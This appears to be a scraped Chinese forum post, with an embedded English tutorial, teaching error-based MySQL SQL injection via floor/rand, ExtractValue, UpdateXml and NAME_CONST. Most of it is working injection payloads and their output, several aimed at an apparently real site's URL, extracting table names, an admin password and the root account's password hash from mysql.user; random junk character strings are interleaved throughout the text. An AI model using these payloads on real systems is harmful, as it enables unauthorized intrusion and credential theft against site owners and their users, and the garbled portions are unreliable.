mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
7 S- e# n5 s% D2 }7 c" m5 `& [' b+—-+——-+———+
: v% |  r5 S( M6 N|  1 | test  | do it   |
6 p% H2 H# u9 i5 @) _* x+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
  }7 C+ w' j# Y9 q/ @ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
) u0 E, c3 e6 Y; c0 ]测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
" K; q6 f4 |$ y. iERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

; j- ]0 Y5 J; y% c  c# _

再收集：

2 U, }, E4 k; U* T, C3 ahttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
, H# ?' i% }0 e7 Z5 v
) Z- V" e/ i6 x. z& M" HErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
( d. N6 f' x. n6 o
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
2 J* [( k$ N% Q9 O7 F# F
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
5 L. O9 C0 E( @. U
5 e1 h& N: F* DMYSQL高版本报错注入技巧-利用NAME_CONST注入
0 n4 p& \+ @0 X7 |! nIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
; u& \* {3 |1 y; t# P8 r

相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
  ~" I% s: s  ]4 ONAME_CONST(DATA, VALUE)
# V, |6 R; l/ u/ V+ J* Q6 Q  d# ~2 Y5 _
  E0 Z8 n1 L1 W2 H9 X" D% f2 JReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
* b  ^4 w! B- L' Y0 U7 q
: e) }: {) v) C( @" ?0 s5 xSELECT NAME_CONST('TEST', 1)
# O& S$ T$ b, j  U8 r
" ~. L7 n" a; c8 ]

% U7 W( Z6 i: g' Q2 x/ H, V|---------------|
|     TEST      |
. k, n/ d/ X8 f% `|               |
2 |& }7 \2 _& T, k4 L* ?. \|---------------|
2 O& f# w( _! w4 e$ I5 r2 j|       1       |
; Q# Y$ ^  E+ `  R|               |
|---------------|

$ h% \. J$ W  E- N) Z! m- U7 k


) @8 q4 C( o! {9 v* t2 hhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
% _7 p$ @! h' H# [) [* W& A+ V6 CIntro to MySQL Variables
: ^- Q  B9 G+ \* U+ y+ ?
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
& {1 i. u2 U  o. d# A- \/ I



0 Y- ^/ f! B) T! K# q' A8 ^
" U" \+ c4 U% r* c0 _% l  qCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
3 c; Y! C' g( Z9 d9 W

VAR = Your MySQL variable.
) {3 M0 Y) Q/ @: c
MySQL 5.1.3 Server System Variables

1 |- |6 H# w8 H) s8 FLet's try it out on my site..
' d% Z- ~" g3 ?% ^, f. w
Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

9 I, n- S3 x- wErroruplicate column name '5.0.27-community-nt'
7 Q9 ?3 b& |8 H: {& V% j8 A
, d" ^4 T! q. v8 f; v% S" L



Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

6 n) r& Z" q" A$ CData Extraction

( j7 B* N' t- j/ jCode:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
* m' S0 G+ L$ A/ ~

We should get a duplicate column 1 error...
8 S; f% Q6 o. A. ?" S. R
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
; u) }; y( a; h
  Q* X2 j5 k; n1 g1 RErroruplicate column name '1
0 j) x0 z' S; c7 D  u, ~
2 I* I! ?/ H. x5 H1 C3 b) p0 _# F
9 U% A1 p/ B2 F

0 E0 R9 X$ `9 M& O

Now let's get the tables out this bitch..
. Q- m" r( `8 q2 b
Code:
# R- `- U" `6 K3 j+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
! Y; ]6 u0 y% q5 i; t/ R. W

, z! \$ v0 K, ]  V5 mLet's see if it works here, if it does, we can go on and finish the job.

Code:
$ x+ q5 M( o9 r7 g4 m1 d9 C3 k0 Zhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
; \+ u" n3 ]* K/ C1 U1 m! ^. j; M

Erroruplicate column name 'com_admanage
$ g8 F! [7 D4 ]" X. |4 u  h

6 {' `& ]) M" \! D0 X


7 e7 O, o2 _; P
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
. u% `0 a( B4 ^" H" @4 R7 _
  u+ r& _. F" `0 O, e9 k7 ILet's get the columns out of the user table..
. P0 r$ X' U. a5 H3 }2 i
2 n$ V; _# B$ I) r( _Code:
9 d, U- T* D) j# e& d. V9 J+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
1 ?4 \& V% G" I
6 F9 U0 Q0 o* D7 d
So mine looks like this, and I get the duplicate column name 'Host'.
! |% z3 b8 _2 W, `) I% w
, n* s  |5 a# n8 s% s& t: A' bCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
7 i% s0 ^# X: m
Erroruplicate column name 'Host'

! ?) f- k# Q" n/ U8 F

8 G4 V! b+ O( I% C3 I. c' M$ i
, d9 v! _# W" {) V9 Z9 @7 P
! T, n0 A+ ?' j6 N2 K% A2 |( B! l
- d) w. h, X1 ]+ h- s" M- {Woot, time to finish this bitch off.

' D4 @/ g& \* ~% p" P/ k6 CCode:
; F6 I7 G: G: l* T+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


$ t* u5 W9 z# u- n% I8 m4 jSo mine looks like this...
' i; l7 Q* A% c5 J' s( g8 ?" s
, I2 O" S# n7 j, d0 Y$ BCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'


  f0 ~( T2 J9 `, K: `
! x8 Y9 h+ h* m. H
" H2 `' y$ N! }8 }; Y1 t' Z0 h, ?& i

/ j# L% E( [; A) V- T' uAnd there we have it, thanks for reading.
$ }, N9 E5 Z, `/ h
5 C6 C0 U4 t8 ]' H& Z